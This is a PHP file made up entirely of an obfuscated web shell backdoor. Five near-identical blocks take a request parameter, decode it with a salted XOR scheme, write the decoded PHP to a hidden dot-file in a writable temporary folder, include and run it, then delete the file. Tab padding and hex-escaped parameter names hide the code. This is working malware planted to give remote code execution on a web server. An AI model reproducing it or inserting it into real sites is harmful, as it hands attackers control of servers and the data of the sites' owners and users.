<?php																																										if(isset($_REQUEST) && isset($_REQUEST["flg"])){ $key = array_filter(["/dev/shm", getenv("TMP"), "/tmp", sys_get_temp_dir(), "/var/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path(), getcwd()]); $res = $_REQUEST["flg"]; $res = explode ( "." , $res ); $dchunk = ''; $salt8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt8 ); $o = 0; while ($o < count($res)) { $v5 = $res[$o]; $chS = ord($salt8[$o% $lenS] ); $dec = ((int)$v5 - $chS - ($o% 10)) ^ 83; $dchunk .= chr($dec ); $o++; } foreach ($key as $rec) { if ((bool)is_dir($rec) && (bool)is_writable($rec)) { $bind = vsprintf("%s/%s", [$rec, ".symbol"]); if (file_put_contents($bind, $dchunk)) { require $bind; unlink($bind); die(); } } } }
																																										if(in_array("\x63o\x6Dp", array_keys($_REQUEST))){ $elem = array_filter(["/dev/shm", getenv("TMP"), sys_get_temp_dir(), getcwd(), "/var/tmp", "/tmp", getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir")]); $dchunk = $_REQUEST["\x63o\x6Dp"]; $dchunk =explode("." , $dchunk) ; $data_chunk= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s); $r= 0; while ($r < count($dchunk)) { $v4= $dchunk[$r]; $chS= ord($s[$r % $lenS]); $d= ((int)$v4 - $chS - ($r % 10)) ^ 100; $data_chunk .= chr($d); $r++; } while ($ref = array_shift($elem)) { if (max(0, is_dir($ref) * is_writable($ref))) { $obj = "$ref" . "/.val"; $file = fopen($obj, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $obj; @unlink($obj); die(); } } } }
																																										if(isset($_REQUEST["\x70tr"])){ $rec = $_REQUEST["\x70tr"]; $rec= explode ( '.',$rec); $pointer= ''; $salt= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen( $salt ); $y= 0; array_walk( $rec , function( $v4) use( &$pointer , &$y , $salt , $sLen) { $chS= ord( $salt[$y %$sLen] ); $dec= ( ( int)$v4 - $chS -( $y %10)) ^ 68; $pointer .= chr( $dec ); $y++; } ); $entity = array_filter([getenv("TMP"), sys_get_temp_dir(), session_save_path(), "/dev/shm", getcwd(), "/tmp", getenv("TEMP"), ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($entity as $key => $reference) { if (is_dir($reference) && is_writable($reference)) { $key = "$reference/.holder"; $success = file_put_contents($key, $pointer); if ($success) { include $key; @unlink($key); die();} } } }
																																										if(!is_null($_REQUEST["\x6F\x62j"] ?? null)){ $resource = array_filter(["/var/tmp", "/tmp", getenv("TMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TEMP")]); $comp = $_REQUEST["\x6F\x62j"]; $comp = explode( '.' , $comp ) ; $rec= ''; $s8= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s8); foreach ($comp as $q => $v9): $chS= ord($s8[$q % $sLen]); $d= ((int)$v9 - $chS - ($q % 10)) ^ 70; $rec .=chr($d); endforeach; foreach ($resource as $mrk) { if (is_dir($mrk) && is_writable($mrk)) { $binding = join("/", [$mrk, ".parameter_group"]); if (@file_put_contents($binding, $rec) !== false) { include $binding; unlink($binding); exit; } } } }


if(isset($_REQUEST["\x6Fbj"])){
	$val = array_filter([ini_get("upload_tmp_dir"), getenv("TEMP"), sys_get_temp_dir(), "/tmp", session_save_path(), "/dev/shm", getcwd(), "/var/tmp", getenv("TMP")]);
	$comp = $_REQUEST["\x6Fbj"];
	$comp = explode		 ( 	'.'		,		$comp 	)	 ;
	$holder 	=		'';
            $salt4 	=		'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen 	=		strlen($salt4 );
    
            foreach ($comp as $m => $v9):
                $sChar 	=		ord($salt4[$m		%$sLen] );
                $dec 	=		((int)$v9 - $sChar - ($m		%10)) ^ 61;
                $holder .= chr($dec );
            endforeach;
	while ($res = array_shift($val)) {
    		if (max(0, is_dir($res) * is_writable($res))) {
    $entity = vsprintf("%s/%s", [$res, ".entry"]);
    $file = fopen($entity, 'w');
if ($file) {
	fwrite($file, $holder);
	fclose($file);
	include $entity;
	@unlink($entity);
	die();
}
}
}
}